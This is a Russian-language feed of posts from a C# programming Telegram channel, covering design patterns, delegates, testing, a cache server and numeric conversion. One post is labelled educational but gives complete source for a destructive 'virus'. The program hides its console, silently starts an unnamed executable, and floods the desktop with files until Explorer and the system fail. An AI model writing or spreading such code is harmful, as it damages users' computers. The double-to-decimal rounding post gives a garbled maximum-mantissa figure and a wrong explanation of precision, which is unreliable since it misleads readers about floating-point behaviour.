C# (C Sharp) programming
18.7K subscribers
757 photos
38 videos
8 files
675 links
По всем вопросам- @haarrp

C# - обучающий канал Senior C# разработчика.

@ai_machinelearning_big_data - Machine learning

@itchannels_telegram - 🔥лучшие ит-каналы

@csharp_ci - C# академия

@pythonlbooks- книги📚

Реестр РКН: https://clck.ru/3Fk3kb
Download Telegram
🖥 Разбор разных практик тестирования в C#

Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
Что именно рассматривается в видео?

Тестирование и качество связаны с исследованием и испытанием программного продукта.

Автоматизация тестирования имеет преимущества, но может быть сложной в разработке и поддержке.

Определение количества и процента охвата теста рекомендуется на уровне 80%.

Графики тестирования и качество продукта обсуждаются, и автоматизированное тестирование может быть более эффективным в долгосрочной перспективе.

📎 Кликабельный план видео
📎 YouTube

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Декоратор — описание паттерна с примером на C#

Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки.
Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных.

А вот некоторые мысли из статьи:

Декоратор может решать, к примеру, такую проблему: пользователи хотят получать оповещения о критических проблемах через разные каналы

То, что делает декоратор, в некоторых случаях можно получить через наследование
Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно

Альтернатива наследованию - агрегация или композиция, которые позволяют одному объекту делегировать работу другому

Декораторы имеют общий интерфейс, что позволяет клиенту работать с обёрнутыми объектами без изменения кода

📎 Статья
📎 Пример на C#

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Округление при преобразовании double в decimal

При достаточно больших значениях double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649

Почему так происходит? Можно ли как то преобразовать без округления?


Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм.
41-45 округляется к 40, 46-49 округляется к 50.

Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется.
Преобразовать без округления можно только так:
decimal result2 = (long)d;


@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
В этом году ШАД Яндекса увеличивает набор студентов на треть

Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77%  устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие.
Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь.

@csharp_ci
🖥 Пишем невероятно простой вирус на C#

Всё в этом посте описано исключительно в образовательных целях

Любой программист должен написать свой маленький вирус.
В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500 explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера).
Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола.

Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]

// Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{

// Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;

// Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}


📎 Подробнее

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Что выведет на экран этот код?
Anonymous Quiz
8%
0 0
16%
0 1
72%
1 1
4%
1 0
🖥 Делегаты C#

Объект дня — делегаты
Давайте вспомним и освежим основную инфу

Делегат — это объект, который может ссылаться на метод или несколько методов. Следовательно, когда создается делегат, то в итоге получается объект, содержащий ссылку на метод. Иными словами, делегат позволяет вызывать метод, на который он ссылается.

По сути, делегат — это безопасный в отношении типов объект, указывающий на другой метод (или, возможно, список методов) приложения, который может быть вызван позднее. В частности, объект делегата поддерживает 3 важных фрагмента информации:
— адрес метода, на котором он вызывается
— аргументы (если есть) этого метода
— возвращаемое значение (если есть) этого метода

Пример использования делегата на изображении.
Делегат — это по сути очередь в которую можно добавить сколько угодно методов. При выполнении train += Wagon2; мы добавляем 2й вагон в очередь.
Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции.

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly

Как видно из бенчмарков, это сейчас вообще самый быстрый сервер структур данных на всём диком западе:

Практически полностью совместим с Redis на уровне API, но при этом:
Имеет либеральную MIT лицензию, как и все последние крупные проекты MS, и этим крайне выгодно отличается от Redis
Написан на C#, и позволяет удобно расширять сервер
Делает по производительности и Redis, написанный на C, и Dragonfly написанный на C++

🖥 GitHub

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Блеск и нищета паттерна «Спецификация» в С#. Оцениваем планы запросов

Держите годный контент. О чём статья?
О паттерне «Спецификация», который позволяет улучшить структуру приложения, и, следовательно, увеличить гибкость, уменьшив при этом объем кода, а значит - сократить количество ошибок, но это не точно.

Из статьи напрашивается такой очевидный вывод: паттерн «Спецификация» выгоднее всего использовать там, где модели состоят из нескольких десятков или сотен полей и к ним нужно применять сложные критерии фильтрации данных.

📎 Статья

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM